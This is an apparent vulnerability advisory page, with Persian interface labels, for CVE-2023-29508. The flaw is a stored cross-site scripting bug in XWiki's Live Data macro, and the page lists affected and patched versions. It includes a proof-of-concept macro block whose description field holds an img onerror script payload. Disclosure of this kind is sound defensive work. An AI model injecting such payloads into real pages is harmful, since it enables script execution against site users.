همهٔ گزارش‌ها
زیاد

org.xwiki.platform:xwiki-platform-livedata-macro vulnerable to Basic Cross-site Scripting

متن اصلی

نسخه‌های متأثر

نسخه‌های متأثر
>= 13.10.10, < 13.10.11
نسخهٔ اصلاح‌شده
13.10.11
نسخه‌های متأثر
>= 14.4, < 14.4.7
نسخهٔ اصلاح‌شده
14.4.7
نسخه‌های متأثر
>= 14.9, < 14.10
نسخهٔ اصلاح‌شده
14.10

بهره‌برداری

CVE-2023-29508

احتمال بهره‌برداری در ۳۰ روز آینده: 0.42%

FIRST EPSS · ۱۴۰۵/۰۸/۲۷

شرح آسیب‌پذیری

Impact

A user without script rights can introduce a stored XSS by using the Live Data macro, if the last author of the content of the page has script rights.

For instance, by adding the LiveData below in the about section of the profile of a user created by an admin.

{{liveData id="movies" properties="title,description"}}
{
  "data": {
    "count": 1,
    "entries": [
      {
        "title": "Meet John Doe",
        "url": "https://www.imdb.com/title/tt0033891/",
        "description": "<img onerror='alert(1)' src='foo' />"
      }
    ]
  },
  "meta": {
    "propertyDescriptors": [
      {
        "id": "title",
        "name": "Title",
        "visible": true,
        "displayer": {"id": "link", "propertyHref": "url"}
      },
      {
        "id": "description",
        "name": "Description",
        "visible": true,
        "displayer": "html"
      }
    ]
  }
}
{{/liveData}}
Patches

This has been patched in XWiki 14.10, 14.4.7, and 13.10.11.

Workarounds

No known workaround.

References
For more information

If you have any questions or comments about this advisory:

  • Open an issue in Jira

  • Email us at Security ML

پیوندها